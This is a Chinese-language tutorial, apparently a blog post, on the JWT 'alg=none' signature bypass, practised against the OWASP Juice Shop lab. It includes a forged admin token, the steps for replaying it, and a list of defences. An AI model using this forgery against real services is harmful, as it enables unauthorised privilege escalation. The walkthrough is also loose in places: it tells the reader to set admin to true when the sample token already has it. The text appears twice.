经验分享 | 一文学会jwt劫持
字数 2067 2025-08-19 12:41:18

JWT劫持攻击全面指南

1. JWT基础概念

1.1 什么是JWT

JWT(JSON Web Token)是一种紧凑的Claims声明格式,主要用于空间受限的环境进行传输,常见于HTTP授权请求头参数和URI查询参数。它将Claims转换为JSON格式,然后通过数字签名或加密进行保护。

1.2 JWT的组成结构

JWT由三部分组成,用点号(.)连接:

  1. 头部(Header)

    • 包含令牌类型和加密算法
    • 示例:{"typ":"JWT","alg":"HS256"}
    • Base64编码后:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
  2. 载荷(Payload)

    • 包含自定义的声明信息
    • 示例:{"sub":"1234567890","name":"John Doe","admin":true}
    • Base64编码后:eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9
  3. 签名(Signature)

    • 由头部+载荷+密钥通过指定算法生成
    • 示例:TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ

完整JWT示例:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ

2. 实验环境搭建

2.1 使用OWASP Juice Shop靶场

# 拉取Owasp juice shop容器
docker pull bkimminich/juice-shop

# 启动容器
docker run -d -p 3000:3000 bkimminich/juice-shop

访问地址:http://[IP]:3000

2.2 创建测试账户

  • 用户名:lee@163.com
  • 密码:123456

3. JWT劫持攻击原理

3.1 攻击可行性分析

  1. 头部:Base64编码,可见且可操作
  2. 载荷:Base64编码,可修改内容
  3. 签名:依赖密钥,攻击者通常不知道

关键问题:如何绕过签名验证?

3.2 攻击思路

通过修改JWT头部中的加密算法为none,使服务器不验证签名:

  1. 将算法从HS256改为none
  2. 删除签名部分(设置为空)
  3. 修改载荷中的权限信息

4. JWT劫持攻击复现步骤

4.1 捕获JWT令牌

  1. 使用测试账户登录
  2. 使用Burp Suite或类似工具抓包
  3. 找到包含Authorization头的请求

示例JWT:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ

4.2 解码分析

使用在线工具解码各部分:

头部解码

{
  "alg": "HS256",
  "typ": "JWT"
}

载荷解码

{
  "sub": "1234567890",
  "name": "John Doe",
  "admin": true
}

4.3 构造攻击JWT

  1. 修改头部算法为none
{
  "alg": "none",
  "typ": "JWT"
}

Base64编码:eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0

  1. 修改载荷提升权限(如将admin改为true
{
  "sub": "1234567890",
  "name": "John Doe",
  "admin": true
}

Base64编码:eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9

  1. 删除签名部分,只保留头部和载荷,最后加一个点号

最终攻击JWT:
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.

4.4 发送修改后的JWT

将构造的JWT替换原始请求中的Authorization头,观察是否获得提升的权限。

5. 防御措施

  1. 拒绝none算法:服务器应明确拒绝alg=none的JWT
  2. 固定算法:验证JWT时指定预期的算法,而不是依赖令牌中的声明
  3. 密钥保护:确保签名密钥安全,不使用弱密钥
  4. 令牌有效期:设置合理的过期时间
  5. HTTPS传输:防止令牌在传输过程中被截获
  6. 黑名单机制:对已注销的令牌进行管理

6. 扩展攻击方式

除了none算法攻击外,JWT还可能面临以下攻击:

  1. 弱密钥破解:对HS256算法暴力破解弱密钥
  2. 密钥混淆攻击:当服务端同时支持多种算法时
  3. KID参数注入:操纵JWT头部中的key ID参数
  4. JWK参数注入:操纵JSON Web Key参数

7. 工具推荐

  1. jwt.io:在线JWT解码/编码工具
  2. jwt_tool:功能强大的JWT测试工具
  3. Burp Suite JWT插件:方便修改和重放JWT
  4. Postman:用于API和JWT测试

通过本指南,您应该能够全面理解JWT劫持攻击的原理、实施方法和防御措施。在实际渗透测试中,请确保获得合法授权后再进行测试。

JWT劫持攻击全面指南 1. JWT基础概念 1.1 什么是JWT JWT(JSON Web Token)是一种紧凑的Claims声明格式,主要用于空间受限的环境进行传输,常见于HTTP授权请求头参数和URI查询参数。它将Claims转换为JSON格式,然后通过数字签名或加密进行保护。 1.2 JWT的组成结构 JWT由三部分组成,用点号(.)连接: 头部(Header) 包含令牌类型和加密算法 示例: {"typ":"JWT","alg":"HS256"} Base64编码后: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9 载荷(Payload) 包含自定义的声明信息 示例: {"sub":"1234567890","name":"John Doe","admin":true} Base64编码后: eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9 签名(Signature) 由头部+载荷+密钥通过指定算法生成 示例: TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ 完整JWT示例: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ 2. 实验环境搭建 2.1 使用OWASP Juice Shop靶场 访问地址: http://[IP]:3000 2.2 创建测试账户 用户名: lee@163.com 密码: 123456 3. JWT劫持攻击原理 3.1 攻击可行性分析 头部 :Base64编码,可见且可操作 载荷 :Base64编码,可修改内容 签名 :依赖密钥,攻击者通常不知道 关键问题 :如何绕过签名验证? 3.2 攻击思路 通过修改JWT头部中的加密算法为 none ,使服务器不验证签名: 将算法从 HS256 改为 none 删除签名部分(设置为空) 修改载荷中的权限信息 4. JWT劫持攻击复现步骤 4.1 捕获JWT令牌 使用测试账户登录 使用Burp Suite或类似工具抓包 找到包含 Authorization 头的请求 示例JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ 4.2 解码分析 使用在线工具解码各部分: 头部解码 : 载荷解码 : 4.3 构造攻击JWT 修改头部算法为 none : Base64编码: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0 修改载荷提升权限(如将 admin 改为 true ) Base64编码: eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9 删除签名部分,只保留头部和载荷,最后加一个点号 最终攻击JWT: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9. 4.4 发送修改后的JWT 将构造的JWT替换原始请求中的 Authorization 头,观察是否获得提升的权限。 5. 防御措施 拒绝 none 算法 :服务器应明确拒绝 alg=none 的JWT 固定算法 :验证JWT时指定预期的算法,而不是依赖令牌中的声明 密钥保护 :确保签名密钥安全,不使用弱密钥 令牌有效期 :设置合理的过期时间 HTTPS传输 :防止令牌在传输过程中被截获 黑名单机制 :对已注销的令牌进行管理 6. 扩展攻击方式 除了 none 算法攻击外,JWT还可能面临以下攻击: 弱密钥破解 :对HS256算法暴力破解弱密钥 密钥混淆攻击 :当服务端同时支持多种算法时 KID参数注入 :操纵JWT头部中的key ID参数 JWK参数注入 :操纵JSON Web Key参数 7. 工具推荐 jwt.io :在线JWT解码/编码工具 jwt_ tool :功能强大的JWT测试工具 Burp Suite JWT插件 :方便修改和重放JWT Postman :用于API和JWT测试 通过本指南,您应该能够全面理解JWT劫持攻击的原理、实施方法和防御措施。在实际渗透测试中,请确保获得合法授权后再进行测试。